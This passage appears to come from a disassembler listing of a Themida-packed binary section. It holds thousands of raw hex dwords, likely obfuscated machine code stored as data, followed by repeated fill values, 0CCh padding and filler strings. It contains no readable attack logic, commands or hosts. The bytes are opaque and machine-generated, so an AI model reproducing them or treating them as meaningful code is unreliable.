dd 0F0404683h, 12E958h, 9D90000h, 251C06ECh, 0BC073C74h
dd 2415629Bh, 32BB000Fh, 0BE9h, 5911FB00h, 0B7E403ABh
dd 0C7C93890h, 0DE952h, 0F4B60000h, 0C7BC7346h, 45F3EF73h
dd 58D4BEBDh, 63C98166h, 0F7BF0FFCh, 0F5D08B66h, 44BBA4B5h
dd 600DFECAh, 14E955B5h, 9C000000h, 59D35ECFh, 6D6B1A95h
dd 6DE25A75h, 0C43E1A46h, 616EA6BCh, 0FE8B6651h, 39F78159h
dd 66314989h, 0E9CAB7B9h, 11h, 32D61AEEh, 1BD232B5h, 0FB914BFAh
dd 1F1C009Ah, 84B96692h, 0AE971h, 7D910000h, 7E178DF9h
dd 59167917h, 0CBB70F60h, 9E857h, 68B60000h, 0FF735770h
dd 5F13ACDDh, 0F281615Ah, 182EA3A3h, 3830Fh, 0BF0F0000h
dd 0CABF0FC8h
dd 0A2E78166h, 11E99Eh, 50300000h, 0C39D4F3h, 66832669h
dd 0C498DFDCh, 0E87C1F66h, 0Bh, 608184DAh, 0F88672D0h
dd 6029E138h, 8E9h, 0C278C200h, 0C8E56EDFh, 0DEBF0FFCh
dd 9E95E61h, 0C000000h, 0FE015C1Ah, 95F33FAFh, 0F870Fh
dd 0AE90000h, 1A000000h, 4FE9F5FBh, 5CE91017h, 0EE8166BEh
dd 0B3FC3F94h, 11FABEA4h, 14E97E3Bh, 0E9000000h, 3F9A28E1h
dd 20F059F4h, 2398544Eh, 0E9D5DFCFh, 0F4CD86Fh, 8B0FCEBFh
dd 4, 5E616052h, 949BA66h, 7E860h, 0E0D90000h, 0B4C7A74Bh
dd 6D28B80Eh, 815A566Ch, 1ADD46EAh, 880F6177h, 5, 24C78166h
dd 0C810FE9h, 0E9000000h, 7, 37B66D52h, 80AA0DF5h, 0BF0F48EDh
dd 0CF8B66F0h, 0E9CFBF0Fh, 0Ah, 0AFE915F9h, 0E59C6D30h
dd 0FF5874Eh, 87h, 0E9815200h, 1F24E7E0h, 0B3CA8B5Ah, 0D2B70FB5h
dd 68A0F51h, 81000000h, 0C2BB14D6h, 0BF0F583Fh, 0DC8A60DEh
dd 402C21B8h, 0F88B616Bh, 0E9D9B70Fh, 14h, 0BCF3387Ah
dd 8AF10547h, 7F76BAF4h, 8905CF29h, 828D5252h, 8C0Fh, 0BF0F0000h
dd 0F68166D9h, 0CE8A0788h, 0EE9h, 0E7B40E00h, 13A5F3CFh
dd 81E405E0h, 0FC3477C0h, 650BBB66h, 0EE8F9h, 2E320000h
dd 5E85FB8Ah, 8F830589h, 0BB720FA6h, 53C2D681h, 0E9590CA2h
dd 0Ah, 0D66222C7h, 8E99B38Ah, 0BF0F0C0Ah, 0D18166D1h
dd 0B70FEE21h, 1180B9C6h, 7E94C56h, 0E4000000h, 0B16FB8D4h
dd 8166726Bh, 0FEF59C7h, 584h, 561EBB00h, 880F5AE7h, 2
dd 0B866F78Ah, 0F603D46h, 8166DAB7h, 618773DBh, 810F57h
dd 5F000000h, 0E6BA6660h, 0F93FBAF0h, 60615FFEh, 12E9h
dd 560B5800h, 50F18BF2h, 97184CAh, 92FBC934h, 0F930BC3h
dd 18Bh, 8161FC00h, 0CCD282F2h, 0FFB26074h, 61FBBF0Fh
dd 0CE8h, 2D4F5F00h, 87F9D778h, 796929C1h, 0EB816620h
dd 0B35E18B9h, 7E96069h, 6F000000h, 673E8F0Bh, 0F281D638h
dd 3B6B1FDEh, 0D6BF0F61h, 0C6BF0F60h, 61DF8B66h, 0FE0E480h
dd 0E860FABFh, 7, 5D99704Ah, 0BA794085h, 27FFFA68h, 61ACB65Eh
dd 7FBFC18Bh, 0E964FFA5h, 12h, 0AC70F745h, 1E462994h, 23345BEDh
dd 0F02E184Bh, 0D08111AFh, 1E1E4789h, 0DE960h, 0BD220000h
dd 1AAA4B25h, 23DA2F8Ah, 0F5DE391h, 686h, 890F00h, 61000000h
dd 66F8D08Bh, 8B66F28Bh, 0E9D78BF2h, 13h, 0A681D230h, 10C2FB99h
dd 91C2822Ah, 0C563C7ACh, 6646D29Fh, 81F9C18Bh, 0ABDB49DFh
dd 0DFBF0F16h, 53F0BF0Fh, 6E95Bh, 159D0000h, 579E1275h
dd 0E8DA8B66h, 6, 0E889CB83h, 60566ABCh, 66585961h, 7204E781h
dd 0C890Fh, 8A0F0000h, 6, 810Fh, 8B660000h, 8D0F57FAh
dd 3, 5BF0B70Fh, 0E9C68B60h, 0Fh, 308B73C3h, 2D774FC9h
dd 6C4D94F0h, 61102EF8h, 0C5C38166h, 0CB8B669Ch, 8850FFCh
dd 60000000h, 3886BFF5h, 56613247h, 5840F58h, 66000000h
dd 71A4C881h, 56C18B66h, 5E9h, 82E8BF00h, 0F5EF908h, 0F57C9BFh
dd 38Eh, 0FA8B6600h, 83B86658h, 2870FA2h, 8B000000h, 0AE953C7h
dd 0D8000000h, 11222462h, 0C933F042h, 14E85A78h, 6E000000h
dd 0A9D1EEF5h, 0BFA1F12Ah, 0D3D15803h, 61978FDAh, 80E0623Ch
dd 605B4EEBh, 0B161DB81h, 0F611BB8h, 0B8Fh, 0CE816000h
dd 207ED034h, 61CFBF0Fh, 9E9h, 0E90F0300h, 0F91047A1h
dd 0F60369Ah, 588h, 0CE816600h, 8B665733h, 6E961C6h, 0A3000000h
dd 0BDA7D144h, 0AA71B8D8h, 0BB6636B3h, 8166DC78h, 0F685AF2h
dd 0BB57F3BFh, 43253D9Dh, 0D8B8665Fh, 810FF83Fh, 5, 880947BBh
dd 48F0F14h, 66000000h, 8B7209B8h, 0E96056F8h, 14h, 0CE0FB28Ah
dd 63F27E78h, 6218CF86h, 0B25D74E4h, 0F42F84F8h, 12E9h
dd 0B5920D00h, 25910D92h, 2ED2F797h, 8B5E776Ah, 61BB4DFDh
dd 0B966605Fh, 8D0FD7E2h, 2, 0E9616160h, 0Bh, 0E2EF9CEFh
dd 58A74630h, 8ACE4165h, 6800FC7h, 81000000h, 418BD6D7h
dd 43F78102h, 0E9605A37h, 7, 36A995CEh, 66683A44h, 6049EDBFh
dd 0BAF2BF0Fh, 5BF1A070h, 33D88161h, 0E93D3F5Bh, 0Fh, 0BB74DA96h
dd 0C3A37636h, 76B6CA6Ah, 0E8780D23h, 5, 9072C27Dh, 5B50606Dh
dd 0BE665961h, 5E86425h, 0C5000000h, 647F5B2Eh, 8B5E5A50h
dd 0F0BF0FC2h, 0EE8h, 2EDA9000h, 2BEBD2A2h, 0C2C2AD97h
dd 5EB90B51h, 5E9h, 0BF575C00h, 0F88A9539h, 840Fh, 0E7800000h
dd 6604B348h, 0E99501BFh, 10h, 522CC7CFh, 0E14DF3D7h, 3EAD5B24h
dd 168D3EF5h, 0FF98B66h, 0F681DABFh, 3035C14Fh, 0BE9h
dd 0E12C0C00h, 0F3E92115h, 83C4231Fh, 18E0F51h, 0FC000000h
dd 0FEBF0F59h, 0E5BE6057h, 0F52EB258h, 0BE95B61h, 94000000h
dd 1838897Bh, 0E0C92B55h, 8B66395Bh, 0F1BCBEDEh, 0C88B3CA0h
dd 81B9E280h, 24E4EDC8h, 860F5Dh, 81000000h, 8BCE15F1h
dd 63E68166h, 8172A0E0h, 2EB8B8D3h, 60FA8B43h, 0A5A2D181h
dd 60610788h, 13E9h, 0EB3B7600h, 99D27832h, 9DACC74Fh
dd 0D1411E52h, 2632A1BAh, 3CF2BB66h, 9E961h, 0DE670000h
dd 0EFF48589h, 0FD3472Ah, 68Ah, 0F5D88100h, 0E94FA6F9h
dd 12h, 28AFD17Ch, 0F14A7DA8h, 0BEF7F3C1h, 0CB3244EEh
dd 11E9181Eh, 0CC000000h, 0CD110717h, 3E4F9AD8h, 24B89327h
dd 8A1F0C0h, 8A916ABEh, 60C78B4Dh, 4830Fh, 0BB660000h
dd 60610311h, 0D78B6660h, 8E9h, 3F4EED00h, 84A02498h, 0AE86117h
dd 66000000h, 37C6439Eh, 0BBA26105h, 0D82EBA94h, 615A3851h
dd 148F0Fh, 0FE90000h, 65000000h, 399DFDDBh, 58B39B1Bh
dd 0BB279621h, 0BF0FEFBBh, 28E0FD2h, 8B000000h, 0BE9DFh
dd 8FB90000h, 0A387FB7Ch, 0F103E622h, 8B0F60B8h, 0Ah, 5E9h
dd 5E581A00h, 0E9568166h, 0Ch, 67AAD642h, 0BB62964h, 37B57944h
dd 0E9526159h, 8, 0D1E50125h, 0FD06FFD6h, 0DB81665Fh, 0F52CC20h
dd 605AD6BFh, 12B3F78Bh, 68F0F61h, 81000000h, 0E83B58D1h
dd 0AC9EBA10h, 0E8F5436Eh, 12h, 0D988099Dh, 0D7FB2C9Eh
dd 0E26888E2h, 44890FA3h, 8B66E5D7h, 0D2815FC2h, 588C9AE3h
dd 0FCF8B66h, 581h, 0E1816600h, 0E953AD59h, 11h, 813EA10Eh
dd 0B3A8EE9Ah, 965EC837h, 4E94DB36h, 8A0F5880h, 0Ch, 6890Fh
dd 820F0000h, 0
dd 0C272C881h, 840F3FEBh, 5, 2CF68166h, 1EB86617h, 6625B50Bh
dd 6FF8D681h, 1F890Fh, 0F600000h, 86h, 11E800h, 0DC430000h
dd 3901F18Ah, 7205FE37h, 0E57E75A9h, 59987818h, 0D8BF0F61h
dd 0BF0FD18Ah, 0E993B1F7h, 5, 6606665Dh, 4880FB9h, 66000000h
dd 0F48F0BAh, 583h, 0DE816600h, 0BB667042h, 5850B3CDh
dd 0B70FE58Ah, 3ABF66FAh, 5BF952C0h, 5EFB8B51h, 0FDE8B66h
dd 88h, 7691B800h, 800F3B2Ch, 6, 810Fh, 0BB510000h, 15E770DCh
dd 8BD98B58h, 28A0FCBh, 8B000000h, 0B733BBD3h, 0BF0F51AFh
dd 3DDE81F1h, 662ABE73h, 2A2BDE81h, 8B66D9B0h, 0F2B70FCBh
dd 0DE9h, 0B71C5800h, 0B026C4D8h, 3F3D560Ch, 820FF271h
dd 0Ch, 6860Fh, 0DA810000h, 21BDB6C2h, 5820Fh, 66500000h
dd 815AC88Bh, 0C7D5DCC8h, 11E9515Fh, 44000000h, 87A78BD8h
dd 0BAC08EAFh, 846B33AAh, 0ABA67370h, 14E95Eh, 16F00000h
dd 67A18952h, 0CB58AD25h, 78AEE30Ch, 162E065Eh, 0BF0F1CB0h
dd 13E9FFh, 0B7EB0000h, 383F2EE1h, 0D0DBB27Eh, 2BEF9BE7h
dd 0E73D4E3Bh, 0C38B66BEh, 0E96051F8h, 5, 6276675Ch, 616160A2h
dd 20C6BF5Bh, 0B70F0AAFh, 0BDB456D6h, 67D1805Fh, 57DABF0Fh
dd 0E3DAB966h, 12E95Eh, 0C9A70000h, 0ACDBAE84h, 298CD51h
dd 0AD27E80Ah, 0AC7CD2h, 64DE1ABBh, 0CA81661Bh, 15B90A2Fh
dd 0F4C9BF8h, 8166D3BFh, 0F621CD0h, 0F560F8B7h, 0DFBA6661h
dd 0F0BB53E7h, 5A51C334h, 28E0F52h, 0B1000000h, 0EB81593Ch
dd 0DDF7181h, 94AC38BAh, 14E97Eh, 9CD80000h, 9C1E766h
dd 0C44795E4h, 901C2337h, 0C6A86B17h, 8B66239Eh, 0D08B66F0h
dd 5CE38166h, 0E2816682h, 0E881833Eh, 5677A764h, 8C0Fh
dd 6E80000h, 28000000h, 2FCA75Ah, 0CFB70F86h, 0BF0FF85Fh
dd 0AE8DAh, 0C7050000h, 121731A2h, 53D73278h, 56D798B9h
dd 3BBE5803h, 662C2B98h, 2307C981h, 0CE8h, 16B27B00h, 0AFC5332Ch
dd 0E793845Ch, 94EF8024h, 0BF0F605Ah, 0AE961F9h, 4F000000h
dd 0F9F24CB3h, 0A8CE3FD4h, 0E5F9BB93h, 0FC60738Dh, 5870Fh
dd 81660000h, 618CE9F1h, 0DF8150FCh, 2D87C83h, 5DBE665Eh
dd 0F2816694h, 0B1BE1921h, 0F0C61B2h, 1684h, 11E900h, 0FD6A0000h
dd 0D3A5B3D6h, 1B6BE8AEh, 96415DFDh, 0FA86607h, 0D08BD7B7h
dd 0F19FE6BEh, 0F7816671h, 0BBF5D29Bh, 7E842745h, 0FF3BBB66h
dd 14E9D18Bh, 57000000h, 480798B8h, 51B5CB7Fh, 83D7E214h
dd 875F4F21h, 0E9330057h, 0Eh, 0B471A916h, 0F0AAF980h
dd 0DCBD436Bh, 800F61FCh, 2, 66FCD78Bh, 60266BB8h, 0CE9h
dd 460AE800h, 0D5C0AFB9h, 0FDC3EC74h, 0D2805275h, 0BF615989h
dd 39E1B38Dh, 0D850FF5h, 0E9000000h, 8, 0EA6D9EA8h, 0B43E8A83h
dd 0BDA952BEh, 10E97Dh, 0C1FE0000h, 10CF0EC2h, 3AF11531h
dd 77075D93h, 0D2814DF5h, 6EA0CCC0h, 0A7D01ABAh, 7BB3BF4Ch
dd 81663F49h, 0E9F02EE1h, 12h, 3F21538Dh, 96E4B475h, 0EB9BB32Ch
dd 0B5A4BAD2h, 0B70F5FF4h, 0B7AFBBC9h, 0BF607CA7h, 69199446h
dd 68C0Fh, 0D6810000h, 15AB475Dh, 6609B561h, 890FFB8Bh
dd 5, 642702B9h, 95BF6632h, 0F08166F3h, 0E8F9C3DAh, 9
dd 7C8A89EDh, 10819424h, 59C88AD3h, 0E9D9B70Fh, 13h, 327CF8BAh
dd 0ED32BEF3h, 85D22C47h, 0ADE321CFh, 0FDD1EF6h, 82h, 0E9F88B00h
dd 0Dh, 0ED11271Ch, 0C35E3F64h, 7739C177h, 0C9B70F67h
dd 0E9D08B66h, 0Fh, 0A4E3E44h, 55B045CCh, 42CFD013h, 0E96A264Eh
dd 0Ch, 61A6991Bh, 81FA897Dh, 2725613Eh, 0B96633B0h, 8B0F1BF0h
dd 4, 5BDC8A52h, 62A26DBEh, 0F7E1817Ah, 817C951Dh, 0DEECFBCAh
dd 0C38B6652h, 58E0Fh, 81660000h, 0BA7759D9h, 7A0E4A66h
dd 8E8h, 68C36900h, 5B165B57h, 38E0FC7h, 66000000h, 0F58C78Bh
dd 0CE9DBBFh, 4B000000h, 0EEE72D8Ch, 14A14473h, 0F56C0272h
dd 0EFF08166h, 0FBE6811Eh, 6617EC82h, 0BF4CA0BFh, 5DA05B6Fh
dd 53C18B66h, 5FCB8B66h, 0BE9h, 0AFF4C500h, 0EE5CB9D5h
dd 0B9E89CDAh, 0E9C2B70Fh, 0Ah, 4B37DCBEh, 2D64AB9Ch, 60B44DEFh
dd 0A0F38160h, 6672C77Bh, 0D46BC081h, 54EF8161h, 8B6A615Fh
dd 0D6BF0FDFh, 4372BE66h, 0DBDC8FB8h, 820F600Fh, 5, 1BEF6BBFh
dd 0F61F56Fh, 181h, 0B70FF900h, 3850FD6h, 80000000h, 0DB8196DFh
dd 6C77B77h, 0C781FE8Bh, 3887A029h, 3815E281h, 0C7814643h
dd 5F72D3CCh, 0D10134BEh, 5E931h, 54050000h, 8AE8BE69h
dd 0F68166D9h, 0DABEFBB1h, 660D8955h, 0E96B25BBh, 0Fh
dd 12AF5BBEh, 90435020h, 0B6DA88F4h, 0F1C5D46h, 587h, 0DF816600h
dd 0F1818E73h, 308D4113h, 1840Fh, 60F80000h, 66FCDA80h
dd 6172F9B8h, 0BEB4A0BFh, 0C681666Ah, 0E5B3BDE9h, 8BEEC180h
dd 6E960F8h, 0A1000000h, 0E885F53Fh, 6132B308h, 98F28166h
dd 0FE9F99Ah, 43000000h, 6E1DD302h, 0C4D450BBh, 0B0BF1862h
dd 8B66DC0Fh, 3D44B9C2h, 0FE95FA9h, 0D0000000h, 82B4ABCCh
dd 0AAADBDCh, 74F52C00h, 67BE8FCCh, 0F63B614h, 25BEC9BFh
dd 66321386h, 0B657E781h, 6057CF8Ah, 8BF38B66h, 0FC5861D6h
dd 0DE9h, 62D9B400h, 0E5CA335Bh, 870922ECh, 0FE8D651h
dd 3D000000h, 0E49373CBh, 6C38BD47h, 0CDF67A35h, 5AF81B77h
dd 88E3D681h, 0CA803636h, 0B8D0FC9h, 0F000000h, 58Bh, 2A14BA00h
dd 10E91017h, 4A000000h, 0ED99A0EFh, 0D35BC25Ch, 0D1339884h
dd 6074A0B4h, 0FC6164B5h, 10E8h, 0BCD6FC00h, 0F3A513D8h
dd 0DF672B9Bh, 0CFF00E3Dh, 0B70F6062h, 0D3B70FC6h, 0B5F55F61h
dd 6820FFBh, 81000000h, 0BB9F5C8h, 0F0816639h, 0FA8B72E3h
dd 0AE8h, 3297CA00h, 0E9DD6A8Ch, 804285A7h, 0F5830DCh
dd 5E9FFBFh, 0D8000000h, 408BE317h, 0EE9h, 7C16C200h, 522D030h
dd 4D12CAAEh, 0BA300CAAh, 37F2BB11h, 66F7B70Fh, 0FC9C06BFh
dd 0CE9h, 42BDA00h, 0F5B82A86h, 72D8F588h, 66F9F91Eh, 2059D381h
dd 8E9h, 0D4CA400h, 0CA8B7D9Bh, 0E8D9B5CDh, 0Eh, 0CAC265BBh
dd 9241F9Eh, 85A48A41h, 0BE666CE1h, 665F4629h, 520DE381h
dd 0EE9h, 0EF658600h, 0CC4E2855h, 0A257249h, 0F4B2491h
dd 0B8Dh, 5830F00h, 66000000h, 3320C881h, 709FEF81h, 0B866469Bh
dd 8B660D62h, 3820FD7h, 66000000h, 11E8D08Bh, 1D000000h
dd 18297ED1h, 2FD1FCACh, 7CA7DA7Bh, 6EAAD7D3h, 816659F9h
dd 8A8456C3h, 0D8D281EAh, 0E9441D7Dh, 14h, 6AB0B461h, 787B4519h
dd 90EBA165h, 43CAD94Ch, 43B37452h, 1800Fh, 56F90000h
dd 58C9D980h, 0D6BF0F57h, 5850F5Eh, 66000000h, 0EF13C781h
dd 81DFB70Fh, 59703FC6h, 66F78B15h, 820FF88Bh, 5, 15D68166h
dd 800F601Dh, 5, 0AA30F4BFh, 0A5F4800Eh, 7E861h, 0CB560000h
dd 468DAD2h, 850F6Dh, 5A000000h, 9E9h, 8E9E2B00h, 6203801h
dd 8B0F1D08h, 5, 79F78166h, 72BF6645h, 8B0F10h, 56000000h
dd 0DE816651h, 5A5B2BD0h, 5890Fh, 84B80000h, 0B92DA725h
dd 4761983Dh, 14880Fh, 8E80000h, 15000000h
dd 3488BCBh, 0F484B73h, 8Eh, 0E9F85A00h, 7, 8B6A4A8Ch
dd 8AC4A889h, 890FF8C6h, 0
dd 6E9h, 24692A00h, 815CFB23h, 4E4341F7h, 0DDBA6601h, 68BA66F1h
dd 0CBBF0F0Ah, 8830Fh, 850F0000h, 2, 0BE85E57h, 74000000h
dd 8589DE67h, 472AEFF4h, 0B050F0D3h, 665E5EBBh, 81DA0ABBh
dd 0F17644EBh, 0BE810h, 1C1F0000h, 705FE20Ch, 7F74FEC4h
dd 9E947h, 85C30000h, 1714C456h, 5B5FF9BFh, 0ED2BB66h
dd 113CD781h, 0B70F29C6h, 0FCB8BC0h, 0A84h, 5E900h, 0F4810000h
dd 0E91AD20Bh, 10h, 545D8E22h, 4E3A7A21h, 86B61A4Eh, 0ACDA5E64h
dd 0C28BFA8Bh, 0BE66D18Bh, 860FA289h, 9, 3870Fh, 0C6800000h
dd 13E9F0h, 6DAE0000h, 6EE7ADFAh, 0E3A099BDh, 0DE7A4D62h
dd 424068A6h, 5830F09h, 0BE000000h, 3172D8FDh, 92A8C881h
dd 66F93962h, 0D181DF8Bh, 6CC4600Ch, 8E9h, 0A12A7900h
dd 6F5AE042h, 870FF843h, 0
dd 0C480D08Bh, 11E9F0h, 0C1A0000h, 0CD759E00h, 5C390474h
dd 0BBAE246Eh, 0F72BC90h, 28Eh, 0BAC38B00h, 2E8E7D35h
dd 0F0BFFE8Bh, 601DA5F4h, 0A8D08060h, 0B70F6161h, 58E0FF3h
dd 0B8000000h, 1F55D5E6h, 6660D98Bh, 8BECA6BFh, 606061DFh
dd 8E7E6DBEh, 5E85Eh, 0ABF60000h, 5F3E1106h, 0DA816661h
dd 8A61CC85h, 0C18166C6h, 8A0F091Dh, 3, 0FDEB70Fh, 680h
dd 3BCB8100h, 66774C04h, 0E9471CBEh, 0Bh, 0C61BBE1Ah, 62EE745Fh
dd 0F6722EAh, 28Ch, 0BB5AB500h, 56526Ch, 15840Fh, 0E9510000h
dd 0Eh, 55EF6586h, 49CC4E28h, 910A2572h, 515A4B24h, 0F5FCB8Bh
dd 88h, 0DF8B6600h, 13E8h, 0FD6AAC00h, 0D3A5B3D6h, 1B6BE8AEh
dd 96415DFDh, 0FBA86607h, 4AF1DE81h, 0F8586222h, 11E9FCh
dd 8F280000h, 724A8475h, 766FC7A8h, 476DBD9Ah, 81811DACh
dd 0ECE570F6h, 80DA8B24h, 0D081C4C6h, 0FE6912Eh, 0D9F08166h
dd 0E9D18BE5h, 10h, 0EF90E48Eh, 53CF4716h, 0CCBAAAEBh
dd 0D197BF95h, 5712EF80h, 7E8h, 0F819C700h, 5CEA5CD5h
dd 0A77B97BAh, 515E5B2Ah, 8E9h, 0B51D7800h, 11DF2BF3h
dd 0EE8A59F5h, 13E8h, 298C8700h, 9F761A8Eh, 158139Dh, 21EA1BA2h
dd 0FFB531B0h, 5FD2B70Fh, 13E9F5h, 3C9C0000h, 75F9D56Fh
dd 0A656974Eh, 0C33BCE10h, 924C5302h, 0CF8B661Eh, 66F5D98Bh
dd 129D181h, 5E9CC8Ah, 43000000h, 5D28EAF0h, 6E9h, 0C3634500h
dd 0F76A2AAh, 1A8Bh, 0EE800h, 31480000h, 2F7172BDh, 0B1F4579Bh
dd 541512E2h, 810Fh, 66590000h, 0BF0FF18Bh, 0C38166D9h
dd 0F578930h, 381h, 0FE8B6600h, 0ECEE805Fh, 0FD78B66h
dd 8151D1BFh, 28AE55E6h, 0BE95822h, 52000000h, 0BCDA8EE9h
dd 9606167Ch, 0B70F7E6Eh, 14E8C7h, 0AFEF0000h, 8D77AFA6h
dd 0A7E6CE55h, 600648B8h, 0FBB8502Fh, 68BF24D3h, 5A5D60EEh
dd 0BE665250h, 5B5AE4BDh, 0EE8h, 0D03B4500h, 0E2F3E87h
dd 5A170912h, 0F48C00Ch, 0B358D8BFh, 6DCE8140h, 8064268Eh
dd 11E8E9C1h, 43000000h, 91199EFCh, 83C90C99h, 0EA2B20B3h
dd 0A44CADD1h, 18F78166h, 870F5842h, 2, 7E8C78Ah, 0A5000000h
dd 5055478Ch, 870F2FAEh, 3, 5EDABF0Fh, 0BE857h, 78910000h
dd 4A2930ABh, 0BF506CE5h, 0E5F4B9B8h, 5A597BCEh, 38D0FF9h
dd 66000000h, 8B66D18Bh, 0B0F681C3h, 0F08370Dh, 0D18BF6BFh
dd 81F0B70Fh, 0FD9FFDCAh, 8E975h, 0EDC10000h, 37113154h
dd 5E501866h, 11E9h, 0AD3E1500h, 0B7DAEB63h, 0C8C40A36h
dd 8C30A825h, 0E78004E0h, 0C68B5058h, 8EA815Bh, 570DDF9Bh
dd 81665BFCh, 604F83C7h, 0FCB8B66h, 68Bh, 8C0F00h, 61000000h
dd 0E1D5BA66h, 11E9h, 0D9462A00h, 0DA6EBA3Ch, 77B5B91Ch
dd 0CF13FA13h, 0E957CBCFh, 0Ch, 2AFD9647h, 0E1A6190Dh
dd 16AF1F4Fh, 14E95Bh, 0F5F50000h, 0F04414C3h, 71325AE5h
dd 8B8321EFh, 510AE5A0h, 0D0B1FB83h, 1860Fh, 0BEF80000h
dd 42601C87h, 13E9h, 0E8250800h, 6C513DA8h, 450CB1Ch, 9B945615h
dd 81AA09Ah, 28F0F52h, 8B000000h, 81665BD7h, 8B0997E9h
dd 13E8D8h, 0CA4E0000h, 8BF40132h, 5117C6A3h, 5ACEF06h
dd 0B9769CC8h, 5B5E507Fh, 9AE181FCh, 817E7876h, 747D4C9h
dd 0D08B6633h, 0BE9h, 0B8B37B00h, 31A406C4h, 23336241h
dd 0B6DCCB80h, 0AE9B9h, 0A0940000h, 9A1E7D94h, 91BBB555h
dd 6CC99ABEh, 0E781F845h, 24B3289Fh, 11B9D881h, 0F281355Eh
dd 451D1068h, 0EE9h, 0F6546C00h, 3325B537h, 0AE0B70ECh
dd 66202FF0h, 0BF0FFA8Bh, 8A0F60F0h, 2, 81665951h, 6181A7DBh
dd 0BE9h, 0BE5EE000h, 4AE05277h, 25A57566h, 0B5C6BF0Fh
dd 0AE927h, 0F7BF0000h, 455A966Ah, 0DE55DD3Eh, 19820Fh
dd 14E90000h, 0A5000000h, 0E5818377h, 0AF7AA451h, 687808FBh
dd 0FFF415B2h, 80827294h, 0D38075E9h, 0FFE8B1Ch, 0D08BDABFh
dd 0AE9h, 0D8D78100h, 78EE2AE4h, 0B834EF1Eh, 3195F9ECh
dd 5E9h, 85DE0B00h, 0B966B743h, 14E916E5h, 0D4000000h
dd 1514D235h, 0B4B1CE66h, 64359E40h, 0C0635407h, 0F986AF9h
dd 8Fh, 0C0BF6600h, 0DBB70F0Eh, 608BEEB9h, 0D2BF0F64h
dd 6EE5E781h, 0DB815CACh, 5A8B82Ah, 80CF8B60h, 0E9615AE0h
dd 9, 7DB4CCABh, 232AF3FEh, 97B866A1h, 0D38B665Eh, 158F0Fh
dd 10E90000h, 2E000000h, 0DFF83371h, 79A00FC4h, 0F618C359h
dd 0E807B1D3h, 14h, 0D7A1299h, 7289E569h, 9DA01365h, 790434BEh
dd 97029FF5h, 3EBB575Bh, 5E183420h, 0FC9BF0Fh, 386h, 0C8BF0F00h
dd 12E960h, 129A0000h, 0A9D6033Dh, 0A9942C31h, 0E4570B97h
dd 365620Bh, 0F0EABF66h, 0F1B70F61h, 9E960h, 0E4B50000h
dd 5F116971h, 0F92D1E9h, 586h, 0D6816600h, 606177EFh, 0DEB70FF5h
dd 0E3815261h, 6E5D9FF4h, 8166FC5Fh, 667718F1h, 10E8D68Bh
dd 8000000h, 837C7798h, 0D550A274h, 9FA79344h, 8155B484h
dd 53BFBFEEh, 0A9B75A17h, 860Fh, 0BF660000h, 0E88A9416h
dd 665DCE80h, 76B5C88Bh, 7E9h, 0B04F2C00h, 382470FFh, 4810Fh
dd 8B560000h, 880F5BCAh, 5, 647BC1BBh, 6CD98130h, 0F4EF80Ch
dd 81h, 3133BB00h, 0CE9071Fh, 0AC000000h, 15C8944Dh, 57B3C8F2h
dd 0FF5D2FCh, 1A88h, 14E800h, 9E6F0000h, 9DC2D6EAh, 0E064C018h
dd 5A9FBD6Ch, 39975704h, 0B95A117Dh, 2645BE97h, 0AE9h
dd 80757300h, 2EF1E1F0h, 0F4D30CFh, 0BF0FDFB7h, 0E68166CAh
dd 0C88B30D6h, 0B390CA81h, 0BF0F75B9h, 66EFB7F1h, 41CCE381h
dd 5EAEBF66h, 14E935B1h, 70000000h, 0D96F9064h, 44667B1Bh
dd 520B74EAh, 0ACEC2F2Ch, 602D9410h, 51D1BF0Fh, 10E9h
dd 82097700h, 0C2CC99Fh, 8E38EF12h, 24CBB0BBh, 0BF615B75h
dd 47029C54h, 6E8h, 54741D00h, 0FB12DBEh, 0E959C7B7h, 0Fh
dd 2F8A088h, 0FFE3EBAAh, 2624E6CDh, 50444E10h, 0CD17DA81h
dd 8B5F3A4Fh, 0BF0FFCF2h, 66C18BCBh, 552FDA81h, 0D08166F9h
dd 816612E2h, 66EAECC0h, 0F51F28Bh, 815FFAB7h, 48915CCAh
dd 6660F52Ah, 14ACC081h, 0DE9h, 0E0CAE400h, 9F54E352h
dd 0B91699ABh, 6661C15Fh, 8BD855B9h, 5E960F0h, 89000000h
dd 2C4EC847h, 0BE9h, 0C613A300h, 0CB5C8487h, 245BBD10h
dd 8B50F561h, 66F859C2h, 66089DBEh, 81C5CAB9h, 6D1C42E0h
dd 0C0B70F3Bh, 4BA6660h, 2860FB8h, 50000000h, 8B66615Bh
dd 58B0FCEh, 0BA000000h, 378A6E44h, 0BE8h, 81486900h, 9EBD657Ch
dd 63BDA868h, 12890Fh, 0DE90000h, 0F0000000h, 7A39BAF9h
dd 8DFA4DE2h, 6D2DE29Ah, 0FCC38A59h, 0FFC88166h, 96F167DCh
dd 220h dup(96F16776h), 72636776h, 443h dup(72630C7Ah)
dd 0C30E8B7Ah, 0B9h dup(0C30E8B74h), 9316AFEAh, 247h dup(9316AFEBh)
dd 0CA132EBh, 1A7h dup(0CA132DEh), 0CCCC32DEh, 1E2h dup(0CCCCCCCCh)
db 2 dup(0CCh)
asc_5BBAFE db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
; DATA XREF: Themida_:0053C850o
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
